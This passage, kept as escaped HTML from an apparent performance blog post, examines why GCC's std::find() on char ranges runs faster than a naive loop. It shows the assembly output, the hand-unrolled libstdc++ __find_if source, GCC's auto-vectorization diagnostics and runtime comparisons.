class=\"no\">$3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L12<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">        <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L13<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"nl\">.L29:<\/span>\n<span class=\"w\">        <\/span><span class=\"na\">rep<\/span><span class=\"w\"> <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L34:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">5<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L35:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">6<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L36:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">7<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L12:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L29<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">addq<\/span><span class=\"w\">        <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"nl\">.L11:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L29<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">addq<\/span><span class=\"w\">        <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"nl\">.L13:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"nv\">%dl<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmovne<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L15:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L14:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jmp<\/span><span class=\"w\">        <\/span><span class=\"no\">.L2<\/span>\n<span class=\"nl\">.L33:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">3<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L32:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">2<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L31:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">1<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<\/code><\/pre><\/div>\n\n<p>Alternatively, one can also copy and paste the C++ code into the\n<a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake',source:'++++%23include+%3Calgorithm%3E%0A%0A++++namespace+g+%7B%0A++++++const+char+*find(const+char+*b,+const+char+*e,+char+c)%0A++++++%7B%0A++++++++return+std::find(b,+e,+c)%3B%0A++++++%7D%0A++++%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">GCC explorer and look at the assembler output<\/a>. This is\nalso convenient for comparing different compilers.<\/p>\n<p>The code doesn't just call <code>memchr()<\/code>.<\/p>\n<p>This also shows:<\/p>\n<ul>\n<li>the function has 8 return instructions which hints at <a href=\"https:\/\/en.wikipedia.org\/wiki\/Loop_unrolling\">loop\nunrolling<\/a><\/li>\n<li>the loop body starting at <code>.L10<\/code> includes 4 similar looking\ncompare instruction, again looks like an unrolled loop<\/li>\n<li>no SIMD instructions are used<\/li>\n<\/ul>\n<h2 id=\"who-unrolled-the-loop\">Who unrolled the loop?<a class=\"headerlink\" href=\"#who-unrolled-the-loop\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A look at the <a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/libstdc++\/\">GNU STL<\/a> source code in\n<code>\/usr\/include\/c++\/5.3.1\/bits\/stl_algo.h<\/code> gives us the answer:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">template<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_InputIterator<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_Tp<\/span><span class=\"o\">&gt;<\/span>\n<span class=\"w\">  <\/span><span class=\"kr\">inline<\/span><span class=\"w\"> <\/span><span class=\"n\">_InputIterator<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">_InputIterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">_InputIterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">_Tp<\/span><span class=\"o\">&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">__val<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ concept requirements<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__glibcxx_function_requires<\/span><span class=\"p\">(<\/span><span class=\"n\">_InputIteratorConcept<\/span><span class=\"o\">&lt;<\/span><span class=\"n\">_InputIterator<\/span><span class=\"o\">&gt;<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__glibcxx_function_requires<\/span><span class=\"p\">(<\/span><span class=\"n\">_EqualOpConcept<\/span><span class=\"o\">&lt;<\/span>\n<span class=\"w\">              <\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">iterator_traits<\/span><span class=\"o\">&lt;<\/span><span class=\"n\">_InputIterator<\/span><span class=\"o\">&gt;::<\/span><span class=\"n\">value_type<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">_Tp<\/span><span class=\"o\">&gt;<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__glibcxx_requires_valid_range<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">std<\/span><span class=\"o\">::<\/span><span class=\"n\">__find_if<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">                          <\/span><span class=\"n\">__gnu_cxx<\/span><span class=\"o\">::<\/span><span class=\"n\">__ops<\/span><span class=\"o\">::<\/span><span class=\"n\">__iter_equals_val<\/span><span class=\"p\">(<\/span><span class=\"n\">__val<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Which calls a generic <code>equal_if()<\/code> implementation:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">template<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_Iterator<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_Predicate<\/span><span class=\"o\">&gt;<\/span>\n<span class=\"w\">  <\/span><span class=\"kr\">inline<\/span><span class=\"w\"> <\/span><span class=\"n\">_Iterator<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">__find_if<\/span><span class=\"p\">(<\/span><span class=\"n\">_Iterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">_Iterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">_Predicate<\/span><span class=\"w\"> <\/span><span class=\"n\">__pred<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__find_if<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__pred<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">                     <\/span><span class=\"n\">std<\/span><span class=\"o\">::<\/span><span class=\"n\">__iterator_category<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Which calls a version specialized for random access iterators:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">template<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_RandomAccessIterator<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">_Predicate<\/span><span class=\"o\">&gt;<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">_RandomAccessIterator<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">__find_if<\/span><span class=\"p\">(<\/span><span class=\"n\">_RandomAccessIterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">_RandomAccessIterator<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">_Predicate<\/span><span class=\"w\"> <\/span><span class=\"n\">__pred<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">random_access_iterator_tag<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">typename<\/span><span class=\"w\"> <\/span><span class=\"nc\">iterator_traits<\/span><span class=\"o\">&lt;<\/span><span class=\"n\">_RandomAccessIterator<\/span><span class=\"o\">&gt;::<\/span><span class=\"n\">difference_type<\/span>\n<span class=\"w\">      <\/span><span class=\"n\">__trip_count<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__last<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;&gt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">__trip_count<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">__trip_count<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">switch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__last<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">case<\/span><span class=\"w\"> <\/span><span class=\"mi\">3<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">case<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">case<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__pred<\/span><span class=\"p\">(<\/span><span class=\"n\">__first<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">__first<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">case<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">default<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__last<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Indeed, the loop is manually <a href=\"https:\/\/en.wikipedia.org\/wiki\/Loop_unrolling\">unrolled<\/a>. The 4 compare\ninstructions are a direct result of having 4 if statements in the\nloop body. The 8 return statements are a consequence of that and\nthe fall-through switch-case statement that deals with the last\ncharacters of the range.<\/p>\n<p>This optimization is promising because on a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Superscalar_processor\">super-scalar<\/a>\narchitecture, multiple statements might be executed\n(speculatively) in parallel.<\/p>\n<p><strong>Update (2016-09-20):<\/strong> Interestingly, the <a href=\"http:\/\/libcxx.llvm.org\/\">LLVM libc++<\/a>\ndoesn't implement any specializations for <code>std::find()<\/code>. It is\njust <a href=\"http:\/\/llvm.org\/viewvc\/llvm-project\/libcxx\/trunk\/include\/algorithm?revision=279948&amp;view=markup#l885\">one implementation that uses a simple loop<\/a>, i.e. no\nspecialization for random-access iterators.<\/p>\n<p><strong>Update (2016-09-28):<\/strong> When compiling the naive implementation\nwith GCC and <code>-funroll-loops<\/code> (or via\n<code>__attribute__((optimize(\"unroll-loops\")))<\/code> - cf.\n<code>find_unroll_impl.cc<\/code>), the GCC automatically unrolls the loop 8\ntimes. This unroll factor turns out to be sub-optimal on the\nIntel i7, i.e. this version is 9 percent slower than the naive\none.<\/p>\n<p>Taking this result into account, we may question if 4 times\nunrolling is really the best we can do with respect to unrolling.\nFor this benchmark, on the Intel i7, the sweet spot is indeed an\nunroll factor of 3 (cf. <code>find_unroll2_impl.cc<\/code>). This version\nruns 1 second or so faster than the 4 times unrolled <code>find_find<\/code>\nversion.<\/p>\n<h2 id=\"doesnt-a-compiler-optimize-a-naive-loop-on-its-own\">Doesn't a compiler optimize a naive loop on its own?<a class=\"headerlink\" href=\"#doesnt-a-compiler-optimize-a-naive-loop-on-its-own\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Modern compilers include sophisticated loop optimizations\nincluding <a href=\"https:\/\/en.wikipedia.org\/wiki\/Automatic_vectorization\">auto-vectorization<\/a>, thus, perhaps a naive\nloop also yields good code.<\/p>\n<p>Example implementation:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_naive<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>With that GCC yields:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">find_naive<\/span><span class=\"p\">(<\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"p\">):<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movl<\/span><span class=\"w\">    <\/span><span class=\"nv\">%edx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%eax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jnb<\/span><span class=\"w\">     <\/span><span class=\"no\">.L6<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">    <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">     <\/span><span class=\"no\">.L4<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jmp<\/span><span class=\"w\">     <\/span><span class=\"no\">.L8<\/span>\n<span class=\"nl\">.L5:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">    <\/span><span class=\"nv\">%al<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">      <\/span><span class=\"no\">.L8<\/span>\n<span class=\"nl\">.L4:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">addq<\/span><span class=\"w\">    <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">     <\/span><span class=\"no\">.L5<\/span>\n<span class=\"nl\">.L6:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L8:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<\/code><\/pre><\/div>\n\n<p>(See also <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake',source:'const+char+*find_naive(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++for+(const+char+*i+%3D+b%3B+i+!!%3D+e%3B+%2B%2Bi)%0A++++if+(*i+%3D%3D+c)%0A++++++return+i%3B%0A++return+e%3B%0A%7D')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">GCC explorer<\/a>.)<\/p>\n<p>Which is a pretty straight forward translation of the loop. There is no\nauto-vectorization and no loop-unrolling going on.<\/p>\n<p>Adding the compiler switch <code>-fopt-info-vec-all<\/code> yields diagnostics of the\ndifferent auto-vectorization phases:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">!!<\/span><span class=\"nv\">note<\/span>:<span class=\"w\"> <\/span><span class=\"nv\">not<\/span><span class=\"w\"> <\/span><span class=\"nv\">vectorized<\/span>:<span class=\"w\"> <\/span><span class=\"nv\">control<\/span><span class=\"w\"> <\/span><span class=\"nv\">flow<\/span><span class=\"w\"> <\/span><span class=\"nv\">in<\/span><span class=\"w\"> <\/span><span class=\"k\">loop<\/span>.\n<span class=\"o\">!!<\/span><span class=\"nv\">note<\/span>:<span class=\"w\"> <\/span><span class=\"nv\">bad<\/span><span class=\"w\"> <\/span><span class=\"k\">loop<\/span><span class=\"w\"> <\/span><span class=\"nv\">form<\/span>.\n[..]\n<span class=\"o\">!!<\/span><span class=\"nv\">note<\/span>:<span class=\"w\"> <\/span><span class=\"nv\">not<\/span><span class=\"w\"> <\/span><span class=\"nv\">vectorized<\/span>:<span class=\"w\"> <\/span><span class=\"nv\">not<\/span><span class=\"w\"> <\/span><span class=\"nv\">enough<\/span><span class=\"w\"> <\/span><span class=\"nv\">data<\/span><span class=\"o\">-<\/span><span class=\"nv\">refs<\/span><span class=\"w\"> <\/span><span class=\"nv\">in<\/span><span class=\"w\"> <\/span><span class=\"nv\">basic<\/span><span class=\"w\"> <\/span><span class=\"nv\">block<\/span>.\n[..]\n<\/code><\/pre><\/div>\n\n<p>But how bad is such a naive loop?<\/p>\n<p>Its median runtime is 50 seconds, just a few seconds more than\n<code>std::find()<\/code> which implements loop unrolling ... (47 seconds)<\/p>\n<h2 id=\"is-stdfind-faster-as-memchr\">Is <code>std::find()<\/code> faster as 